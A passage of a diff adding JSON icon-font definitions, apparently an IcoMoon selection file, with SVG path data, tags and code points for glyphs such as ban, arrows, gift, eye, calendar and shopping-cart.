"grid": 14 + }, + "attrs": [], + "properties": { + "name": "check-circle-o", + "id": 92, + "order": 948, + "prevSize": 28, + "code": 61533 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 92 + }, + { + "icon": { + "paths": [ + "M749.714 510.286c0-62.286-18.286-120-49.714-168.571l-430.857 430.286c49.143 32 107.429 50.857 169.714 50.857 171.429 0 310.857-140 310.857-312.571zM178.857 681.143l431.429-430.857c-49.143-33.143-108-52-171.429-52-171.429 0-310.857 140-310.857 312 0 63.429 18.857 121.714 50.857 170.857zM877.714 510.286c0 243.429-196.571 440.571-438.857 440.571s-438.857-197.143-438.857-440.571c0-242.857 196.571-440 438.857-440s438.857 197.143 438.857 440z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ban" + ], + "defaultCode": 61534, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ban", + "id": 93, + "order": 949, + "prevSize": 28, + "code": 61534 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 93 + }, + { + "icon": { + "paths": [ + "M877.714 512v73.143c0 38.857-25.714 73.143-66.857 73.143h-402.286l167.429 168c13.714 13.143 21.714 32 21.714 51.429s-8 38.286-21.714 51.429l-42.857 43.429c-13.143 13.143-32 21.143-51.429 21.143s-38.286-8-52-21.143l-372-372.571c-13.143-13.143-21.143-32-21.143-51.429s8-38.286 21.143-52l372-371.429c13.714-13.714 32.571-21.714 52-21.714s37.714 8 51.429 21.714l42.857 42.286c13.714 13.714 21.714 32.571 21.714 52s-8 38.286-21.714 52l-167.429 167.429h402.286c41.143 0 66.857 34.286 66.857 73.143z" + ], + "width": 914.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-left" + ], + "defaultCode": 61536, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-left", + "id": 94, + "order": 950, + "prevSize": 28, + "code": 61536 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 94 + }, + { + "icon": { + "paths": [ + "M841.143 548.571c0 19.429-7.429 38.286-21.143 52l-372 372c-13.714 13.143-32.571 21.143-52 21.143s-37.714-8-51.429-21.143l-42.857-42.857c-13.714-13.714-21.714-32.571-21.714-52s8-38.286 21.714-52l167.429-167.429h-402.286c-41.143 0-66.857-34.286-66.857-73.143v-73.143c0-38.857 25.714-73.143 66.857-73.143h402.286l-167.429-168c-13.714-13.143-21.714-32-21.714-51.429s8-38.286 21.714-51.429l42.857-42.857c13.714-13.714 32-21.714 51.429-21.714s38.286 8 52 21.714l372 372c13.714 13.143 21.143 32 21.143 51.429z" + ], + "width": 841.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-right" + ], + "defaultCode": 61537, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-right", + "id": 95, + "order": 951, + "prevSize": 28, + "code": 61537 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 95 + }, + { + "icon": { + "paths": [ + "M920.571 554.857c0 19.429-8 37.714-21.143 51.429l-42.857 42.857c-13.714 13.714-32.571 21.714-52 21.714s-38.286-8-51.429-21.714l-168-167.429v402.286c0 41.143-34.286 66.857-73.143 66.857h-73.143c-38.857 0-73.143-25.714-73.143-66.857v-402.286l-168 167.429c-13.143 13.714-32 21.714-51.429 21.714s-38.286-8-51.429-21.714l-42.857-42.857c-13.714-13.714-21.714-32-21.714-51.429s8-38.286 21.714-52l372-372c13.143-13.714 32-21.143 51.429-21.143s38.286 7.429 52 21.143l372 372c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-up" + ], + "defaultCode": 61538, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-up", + "id": 96, + "order": 952, + "prevSize": 28, + "code": 61538 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 96 + }, + { + "icon": { + "paths": [ + "M920.571 475.429c0 19.429-8 38.286-21.143 51.429l-372 372.571c-13.714 13.143-32.571 21.143-52 21.143s-38.286-8-51.429-21.143l-372-372.571c-13.714-13.143-21.714-32-21.714-51.429s8-38.286 21.714-52l42.286-42.857c13.714-13.143 32.571-21.143 52-21.143s38.286 8 51.429 21.143l168 168v-402.286c0-40 33.143-73.143 73.143-73.143h73.143c40 0 73.143 33.143 73.143 73.143v402.286l168-168c13.143-13.143 32-21.143 51.429-21.143s38.286 8 52 21.143l42.857 42.857c13.143 13.714 21.143 32.571 21.143 52z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "arrow-down" + ], + "defaultCode": 61539, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "arrow-down", + "id": 97, + "order": 953, + "prevSize": 28, + "code": 61539 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 97 + }, + { + "icon": { + "paths": [ + "M1024 365.714c0 9.714-4 18.857-10.857 25.714l-292.571 292.571c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-146.286h-128c-246.286 0-408 47.429-408 320 0 23.429 1.143 46.857 2.857 70.286 0.571 9.143 2.857 19.429 2.857 28.571 0 10.857-6.857 20-18.286 20-8 0-12-4-16-9.714-8.571-12-14.857-30.286-21.143-43.429-32.571-73.143-72.571-177.714-72.571-257.714 0-64 6.286-129.714 30.286-190.286 79.429-197.143 312.571-230.286 500-230.286h128v-146.286c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l292.571 292.571c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mail-forward", + "share" + ], + "defaultCode": 61540, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mail-forward, share", + "id": 98, + "order": 954, + "prevSize": 28, + "code": 61540 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 98 + }, + { + "icon": { + "paths": [ + "M431.429 603.429c0 4.571-2.286 9.714-5.714 13.143l-189.714 189.714 82.286 82.286c6.857 6.857 10.857 16 10.857 25.714 0 20-16.571 36.571-36.571 36.571h-256c-20 0-36.571-16.571-36.571-36.571v-256c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l82.286 82.286 189.714-189.714c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l65.143 65.143c3.429 3.429 5.714 8.571 5.714 13.143zM877.714 109.714v256c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-82.286-82.286-189.714 189.714c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-65.143-65.143c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l189.714-189.714-82.286-82.286c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h256c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "expand" + ], + "defaultCode": 61541, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "expand", + "id": 99, + "order": 955, + "prevSize": 28, + "code": 61541 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 99 + }, + { + "icon": { + "paths": [ + "M438.857 548.571v256c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-82.286-82.286-189.714 189.714c-3.429 3.429-8.571 5.714-13.143 5.714s-9.714-2.286-13.143-5.714l-65.143-65.143c-3.429-3.429-5.714-8.571-5.714-13.143s2.286-9.714 5.714-13.143l189.714-189.714-82.286-82.286c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h256c20 0 36.571 16.571 36.571 36.571zM870.286 164.571c0 4.571-2.286 9.714-5.714 13.143l-189.714 189.714 82.286 82.286c6.857 6.857 10.857 16 10.857 25.714 0 20-16.571 36.571-36.571 36.571h-256c-20 0-36.571-16.571-36.571-36.571v-256c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l82.286 82.286 189.714-189.714c3.429-3.429 8.571-5.714 13.143-5.714s9.714 2.286 13.143 5.714l65.143 65.143c3.429 3.429 5.714 8.571 5.714 13.143z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "compress" + ], + "defaultCode": 61542, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "compress", + "id": 100, + "order": 956, + "prevSize": 28, + "code": 61542 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 100 + }, + { + "icon": { + "paths": [ + "M438.857 73.143c242.286 0 438.857 196.571 438.857 438.857s-196.571 438.857-438.857 438.857-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857zM512 785.714v-108.571c0-10.286-8-18.857-17.714-18.857h-109.714c-10.286 0-18.857 8.571-18.857 18.857v108.571c0 10.286 8.571 18.857 18.857 18.857h109.714c9.714 0 17.714-8.571 17.714-18.857zM510.857 589.143l10.286-354.857c0-4-1.714-8-5.714-10.286-3.429-2.857-8.571-4.571-13.714-4.571h-125.714c-5.143 0-10.286 1.714-13.714 4.571-4 2.286-5.714 6.286-5.714 10.286l9.714 354.857c0 8 8.571 14.286 19.429 14.286h105.714c10.286 0 18.857-6.286 19.429-14.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exclamation-circle" + ], + "defaultCode": 61546, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "exclamation-circle", + "id": 101, + "order": 957, + "prevSize": 28, + "code": 61546 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 101 + }, + { + "icon": { + "paths": [ + "M530.286 774.857v-409.143h-182.857v409.143c0 20 16.571 29.714 36.571 29.714h109.714c20 0 36.571-9.714 36.571-29.714zM269.714 292.571h111.429l-72-92c-6.286-7.429-20-17.714-39.429-17.714-30.286 0-54.857 24.571-54.857 54.857s24.571 54.857 54.857 54.857zM662.857 237.714c0-30.286-24.571-54.857-54.857-54.857-19.429 0-33.143 10.286-39.429 17.714l-71.429 92h110.857c30.286 0 54.857-24.571 54.857-54.857zM877.714 384v182.857c0 10.286-8 18.286-18.286 18.286h-54.857v237.714c0 30.286-24.571 54.857-54.857 54.857h-621.714c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-54.857c-10.286 0-18.286-8-18.286-18.286v-182.857c0-10.286 8-18.286 18.286-18.286h251.429c-70.857 0-128-57.143-128-128s57.143-128 128-128c38.286 0 73.714 16 96 44l73.143 94.286 73.143-94.286c22.286-28 57.714-44 96-44 70.857 0 128 57.143 128 128s-57.143 128-128 128h251.429c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gift" + ], + "defaultCode": 61547, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gift", + "id": 102, + "order": 958, + "prevSize": 28, + "code": 61547 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 102 + }, + { + "icon": { + "paths": [ + "M731.429 402.286c0-20-16.571-36.571-36.571-36.571-202.286 0-332.571 84.571-464.571 230.286-6.857 7.429-10.857 15.429-10.857 25.714 0 20 16.571 36.571 36.571 36.571 10.286 0 18.286-4 25.714-10.857 28-25.143 53.143-52.571 80.571-78.286 103.429-93.143 192-130.286 332.571-130.286 20 0 36.571-16.571 36.571-36.571zM1024 289.143c0 36.571-4 73.714-11.429 110.286-36.571 177.714-150.857 293.143-309.714 372-77.143 38.857-163.429 61.714-250.286 61.714-54.857 0-111.429-9.143-163.429-26.857-27.429-9.143-82.286-45.143-105.143-45.143-28.571 0-62.857 116.571-112.571 116.571-36 0-46.857-17.714-62.286-44-5.143-9.714-9.143-13.143-9.143-25.143 0-59.429 113.143-105.714 113.143-138.857 0-5.143-14.857-35.429-17.143-46.857-3.429-19.429-5.143-39.429-5.143-59.429 0-181.714 144.571-311.429 306.857-365.143 117.143-38.857 366.286 6.286 445.714-69.143 31.429-29.143 46.857-56 94.857-56 64.571 0 85.714 167.429 85.714 216z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "leaf" + ], + "defaultCode": 61548, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "leaf", + "id": 103, + "order": 959, + "prevSize": 28, + "code": 61548 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 103 + }, + { + "icon": { + "paths": [ + "M804.571 969.143v36.571c0 9.714-8.571 18.286-18.286 18.286h-768c-9.714 0-18.286-8.571-18.286-18.286v-36.571c0-9.714 8.571-18.286 18.286-18.286h768c9.714 0 18.286 8.571 18.286 18.286zM658.286 365.714c0 218.857-256 238.286-256 384 0 40 20 93.143 38.286 128l-2.286-0.571 0.571 0.571c-157.714-72.571-292.571-172.571-292.571-365.714 0-218.857 256-238.286 256-384 0-40-20-93.143-37.714-128l1.714 0.571-0.571-0.571c157.714 72.571 292.571 172.571 292.571 365.714z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fire" + ], + "defaultCode": 61549, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fire", + "id": 104, + "order": 960, + "prevSize": 28, + "code": 61549 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 104 + }, + { + "icon": { + "paths": [ + "M950.857 548.571c-54.286-84-128.571-156-217.714-201.714 22.857 38.857 34.857 83.429 34.857 128.571 0 141.143-114.857 256-256 256s-256-114.857-256-256c0-45.143 12-89.714 34.857-128.571-89.143 45.714-163.429 117.714-217.714 201.714 97.714 150.857 255.429 256 438.857 256s341.143-105.143 438.857-256zM539.429 329.143c0-14.857-12.571-27.429-27.429-27.429-95.429 0-173.714 78.286-173.714 173.714 0 14.857 12.571 27.429 27.429 27.429s27.429-12.571 27.429-27.429c0-65.143 53.714-118.857 118.857-118.857 14.857 0 27.429-12.571 27.429-27.429zM1024 548.571c0 14.286-4.571 27.429-11.429 39.429-105.143 173.143-297.714 289.714-500.571 289.714s-395.429-117.143-500.571-289.714c-6.857-12-11.429-25.143-11.429-39.429s4.571-27.429 11.429-39.429c105.143-172.571 297.714-289.714 500.571-289.714s395.429 117.143 500.571 289.714c6.857 12 11.429 25.143 11.429 39.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eye" + ], + "defaultCode": 61550, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eye", + "id": 105, + "order": 961, + "prevSize": 28, + "code": 61550 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 105 + }, + { + "icon": { + "paths": [ + "M317.143 762.857l44.571-80.571c-66.286-48-105.714-125.143-105.714-206.857 0-45.143 12-89.714 34.857-128.571-89.143 45.714-163.429 117.714-217.714 201.714 59.429 92 143.429 169.143 244 214.286zM539.429 329.143c0-14.857-12.571-27.429-27.429-27.429-95.429 0-173.714 78.286-173.714 173.714 0 14.857 12.571 27.429 27.429 27.429s27.429-12.571 27.429-27.429c0-65.714 53.714-118.857 118.857-118.857 14.857 0 27.429-12.571 27.429-27.429zM746.857 220c0 1.143 0 4-0.571 5.143-120.571 215.429-240 432-360.571 647.429l-28 50.857c-3.429 5.714-9.714 9.143-16 9.143-10.286 0-64.571-33.143-76.571-40-5.714-3.429-9.143-9.143-9.143-16 0-9.143 19.429-40 25.143-49.714-110.857-50.286-204-136-269.714-238.857-7.429-11.429-11.429-25.143-11.429-39.429 0-13.714 4-28 11.429-39.429 113.143-173.714 289.714-289.714 500.571-289.714 34.286 0 69.143 3.429 102.857 9.714l30.857-55.429c3.429-5.714 9.143-9.143 16-9.143 10.286 0 64 33.143 76 40 5.714 3.429 9.143 9.143 9.143 15.429zM768 475.429c0 106.286-65.714 201.143-164.571 238.857l160-286.857c2.857 16 4.571 32 4.571 48zM1024 548.571c0 14.857-4 26.857-11.429 39.429-17.714 29.143-40 57.143-62.286 82.857-112 128.571-266.286 206.857-438.286 206.857l42.286-75.429c166.286-14.286 307.429-115.429 396.571-253.714-42.286-65.714-96.571-123.429-161.143-168l36-64c70.857 47.429 142.286 118.857 186.857 192.571 7.429 12.571 11.429 24.571 11.429 39.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eye-slash" + ], + "defaultCode": 61552, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eye-slash", + "id": 106, + "order": 962, + "prevSize": 28, + "code": 61552 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 106 + }, + { + "icon": { + "paths": [ + "M585.143 785.714v-108.571c0-10.286-8-18.857-18.286-18.857h-109.714c-10.286 0-18.286 8.571-18.286 18.857v108.571c0 10.286 8 18.857 18.286 18.857h109.714c10.286 0 18.286-8.571 18.286-18.857zM584 572l10.286-262.286c0-3.429-1.714-8-5.714-10.857-3.429-2.857-8.571-6.286-13.714-6.286h-125.714c-5.143 0-10.286 3.429-13.714 6.286-4 2.857-5.714 8.571-5.714 12l9.714 261.143c0 7.429 8.571 13.143 19.429 13.143h105.714c10.286 0 18.857-5.714 19.429-13.143zM576 38.286l438.857 804.571c12.571 22.286 12 49.714-1.143 72s-37.143 36-62.857 36h-877.714c-25.714 0-49.714-13.714-62.857-36s-13.714-49.714-1.143-72l438.857-804.571c12.571-23.429 37.143-38.286 64-38.286s51.429 14.857 64 38.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exclamation-triangle", + "warning" + ], + "defaultCode": 61553, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "exclamation-triangle, warning", + "id": 107, + "order": 963, + "prevSize": 28, + "code": 61553 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 107 + }, + { + "icon": { + "paths": [ + "M786.286 91.429c36.571 36.571 0 128-54.857 182.857l-92 92 91.429 397.714c1.714 6.857-1.143 14.286-6.857 18.857l-73.143 54.857c-2.857 2.286-6.857 3.429-10.857 3.429-1.143 0-2.286 0-4-0.571-5.143-1.143-9.714-4-12-9.143l-159.429-290.286-148 148 30.286 110.857c1.714 6.286 0 12.571-4.571 17.714l-54.857 54.857c-3.429 3.429-8.571 5.143-13.143 5.143h-1.143c-5.714-0.571-10.286-2.857-13.714-7.429l-108-144-144-108c-4.571-2.857-6.857-8-7.429-13.143s1.714-10.286 5.143-14.286l54.857-55.429c3.429-3.429 8.571-5.143 13.143-5.143 1.714 0 3.429 0 4.571 0.571l110.857 30.286 148-148-290.286-159.429c-5.143-2.857-8.571-8-9.714-13.714-0.571-5.143 1.143-11.429 5.143-15.429l73.143-73.143c4.571-4 11.429-6.286 17.143-4.571l380 90.857 91.429-91.429c54.857-54.857 146.286-91.429 182.857-54.857z" + ], + "width": 822.272, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "plane" + ], + "defaultCode": 61554, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "plane", + "id": 108, + "order": 964, + "prevSize": 28, + "code": 61554 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 108 + }, + { + "icon": { + "paths": [ + "M73.143 950.857h164.571v-164.571h-164.571v164.571zM274.286 950.857h182.857v-164.571h-182.857v164.571zM73.143 749.714h164.571v-182.857h-164.571v182.857zM274.286 749.714h182.857v-182.857h-182.857v182.857zM73.143 530.286h164.571v-164.571h-164.571v164.571zM493.714 950.857h182.857v-164.571h-182.857v164.571zM274.286 530.286h182.857v-164.571h-182.857v164.571zM713.143 950.857h164.571v-164.571h-164.571v164.571zM493.714 749.714h182.857v-182.857h-182.857v182.857zM292.571 256v-164.571c0-9.714-8.571-18.286-18.286-18.286h-36.571c-9.714 0-18.286 8.571-18.286 18.286v164.571c0 9.714 8.571 18.286 18.286 18.286h36.571c9.714 0 18.286-8.571 18.286-18.286zM713.143 749.714h164.571v-182.857h-164.571v182.857zM493.714 530.286h182.857v-164.571h-182.857v164.571zM713.143 530.286h164.571v-164.571h-164.571v164.571zM731.429 256v-164.571c0-9.714-8.571-18.286-18.286-18.286h-36.571c-9.714 0-18.286 8.571-18.286 18.286v164.571c0 9.714 8.571 18.286 18.286 18.286h36.571c9.714 0 18.286-8.571 18.286-18.286zM950.857 219.429v731.429c0 40-33.143 73.143-73.143 73.143h-804.571c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h73.143v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h219.429v-54.857c0-50.286 41.143-91.429 91.429-91.429h36.571c50.286 0 91.429 41.143 91.429 91.429v54.857h73.143c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "calendar" + ], + "defaultCode": 61555, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "calendar", + "id": 109, + "order": 965, + "prevSize": 28, + "code": 61555 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 109 + }, + { + "icon": { + "paths": [ + "M380.571 274.857c-32 49.143-55.429 102.286-78.286 156-33.143-69.143-69.714-138.286-156-138.286h-128c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h128c101.714 0 176.571 47.429 234.286 128.571zM1024 731.429c0 4.571-1.714 9.714-5.143 13.143l-182.857 182.857c-3.429 3.429-8.571 5.143-13.143 5.143-9.714 0-18.286-8.571-18.286-18.286v-109.714c-169.714 0-274.286 20-380-128.571 31.429-49.143 54.857-102.286 77.714-156 33.143 69.143 69.714 138.286 156 138.286h146.286v-109.714c0-10.286 8-18.286 18.286-18.286 5.143 0 9.714 2.286 13.714 5.714l182.286 182.286c3.429 3.429 5.143 8.571 5.143 13.143zM1024 219.429c0 4.571-1.714 9.714-5.143 13.143l-182.857 182.857c-3.429 3.429-8.571 5.143-13.143 5.143-9.714 0-18.286-8-18.286-18.286v-109.714h-146.286c-76 0-112 52-144 113.714-16.571 32-30.857 65.143-44.571 97.714-63.429 147.429-137.714 300.571-323.429 300.571h-128c-10.286 0-18.286-8-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h128c76 0 112-52 144-113.714 16.571-32 30.857-65.143 44.571-97.714 63.429-147.429 137.714-300.571 323.429-300.571h146.286v-109.714c0-10.286 8-18.286 18.286-18.286 5.143 0 9.714 2.286 13.714 5.714l182.286 182.286c3.429 3.429 5.143 8.571 5.143 13.143z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "random" + ], + "defaultCode": 61556, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "random", + "id": 110, + "order": 966, + "prevSize": 28, + "code": 61556 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 110 + }, + { + "icon": { + "paths": [ + "M1024 512c0 202.286-229.143 365.714-512 365.714-28 0-56-1.714-82.857-4.571-74.857 66.286-164 113.143-262.857 138.286-20.571 5.714-42.857 9.714-65.143 12.571-12.571 1.143-24.571-8-27.429-21.714v-0.571c-2.857-14.286 6.857-22.857 15.429-33.143 36-40.571 77.143-74.857 104-170.286-117.714-66.857-193.143-170.286-193.143-286.286 0-201.714 229.143-365.714 512-365.714s512 163.429 512 365.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "comment" + ], + "defaultCode": 61557, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "comment", + "id": 111, + "order": 967, + "prevSize": 28, + "code": 61557 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 111 + }, + { + "icon": { + "paths": [ + "M877.714 475.429v73.143c0 233.143-184.571 402.286-438.857 402.286s-438.857-169.143-438.857-402.286v-73.143c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571v73.143c0 104.571 121.714 109.714 146.286 109.714s146.286-5.143 146.286-109.714v-73.143c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571zM292.571 109.714v219.429c0 20-16.571 36.571-36.571 36.571h-219.429c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571zM877.714 109.714v219.429c0 20-16.571 36.571-36.571 36.571h-219.429c-20 0-36.571-16.571-36.571-36.571v-219.429c0-20 16.571-36.571 36.571-36.571h219.429c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "magnet" + ], + "defaultCode": 61558, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "magnet", + "id": 112, + "order": 968, + "prevSize": 28, + "code": 61558 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 112 + }, + { + "icon": { + "paths": [ + "M961.714 760.571l-94.857 94.286c-14.286 14.286-37.143 14.286-51.429 0l-303.429-303.429-303.429 303.429c-14.286 14.286-37.143 14.286-51.429 0l-94.857-94.286c-14.286-14.286-14.286-37.714 0-52l424-423.429c14.286-14.286 37.143-14.286 51.429 0l424 423.429c14.286 14.286 14.286 37.714 0 52z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-up" + ], + "defaultCode": 61559, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-up", + "id": 113, + "order": 969, + "prevSize": 28, + "code": 61559 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 113 + }, + { + "icon": { + "paths": [ + "M961.714 461.714l-424 423.429c-14.286 14.286-37.143 14.286-51.429 0l-424-423.429c-14.286-14.286-14.286-37.714 0-52l94.857-94.286c14.286-14.286 37.143-14.286 51.429 0l303.429 303.429 303.429-303.429c14.286-14.286 37.143-14.286 51.429 0l94.857 94.286c14.286 14.286 14.286 37.714 0 52z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "chevron-down" + ], + "defaultCode": 61560, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "chevron-down", + "id": 114, + "order": 970, + "prevSize": 28, + "code": 61560 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 114 + }, + { + "icon": { + "paths": [ + "M731.429 859.429c0 9.714-8.571 18.286-18.286 18.286h-548.571c-21.143 0-18.286-22.286-18.286-36.571v-329.143h-109.714c-20 0-36.571-16.571-36.571-36.571 0-8.571 2.857-17.143 8.571-23.429l182.857-219.429c6.857-8 17.143-12.571 28-12.571s21.143 4.571 28 12.571l182.857 219.429c5.714 6.286 8.571 14.857 8.571 23.429 0 20-16.571 36.571-36.571 36.571h-109.714v219.429h329.143c5.143 0 10.857 2.286 14.286 6.286l91.429 109.714c2.286 3.429 4 8 4 12zM1097.143 621.714c0 8.571-2.857 17.143-8.571 23.429l-182.857 219.429c-6.857 8-17.143 13.143-28 13.143s-21.143-5.143-28-13.143l-182.857-219.429c-5.714-6.286-8.571-14.857-8.571-23.429 0-20 16.571-36.571 36.571-36.571h109.714v-219.429h-329.143c-5.143 0-10.857-2.286-14.286-6.857l-91.429-109.714c-2.286-2.857-4-7.429-4-11.429 0-9.714 8.571-18.286 18.286-18.286h548.571c21.143 0 18.286 22.286 18.286 36.571v329.143h109.714c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "retweet" + ], + "defaultCode": 61561, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "retweet", + "id": 115, + "order": 971, + "prevSize": 28, + "code": 61561 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 115 + }, + { + "icon": { + "paths": [ + "M365.714 877.714c0 40-33.143 73.143-73.143 73.143s-73.143-33.143-73.143-73.143 33.143-73.143 73.143-73.143 73.143 33.143 73.143 73.143zM877.714 877.714c0 40-33.143 73.143-73.143 73.143s-73.143-33.143-73.143-73.143 33.143-73.143 73.143-73.143 73.143 33.143 73.143 73.143zM950.857 256v292.571c0 18.286-14.286 34.286-32.571 36.571l-596.571 69.714c2.857 13.143 7.429 26.286 7.429 40 0 13.143-8 25.143-13.714 36.571h525.714c20 0 36.571 16.571 36.571 36.571s-16.571 36.571-36.571 36.571h-585.143c-20 0-36.571-16.571-36.571-36.571 0-17.714 25.714-60.571 34.857-78.286l-101.143-470.286h-116.571c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286c38.286 0 39.429 45.714 45.143 73.143h686.286c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shopping-cart" + ], + "defaultCode": 61562, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "shopping-cart", + "id": 116, + "order": 972, + "prevSize": 28, + "code": 61562 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 116 + }, + { + "icon": { + "paths": [ + "M950.857 347.429v402.286c0 70.286-57.714 128-128 128h-694.857c-70.286 0-128-57.714-128-128v-548.571c0-70.286 57.714-128 128-128h182.857c70.286 0 128 57.714 128 128v18.286h384c70.286 0 128 57.714 128 128z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder" + ], + "defaultCode": 61563, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "folder", + "id": 117, + "order": 973, + "prevSize": 28, + "code": 61563 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 117 + }, + { + "icon": { + 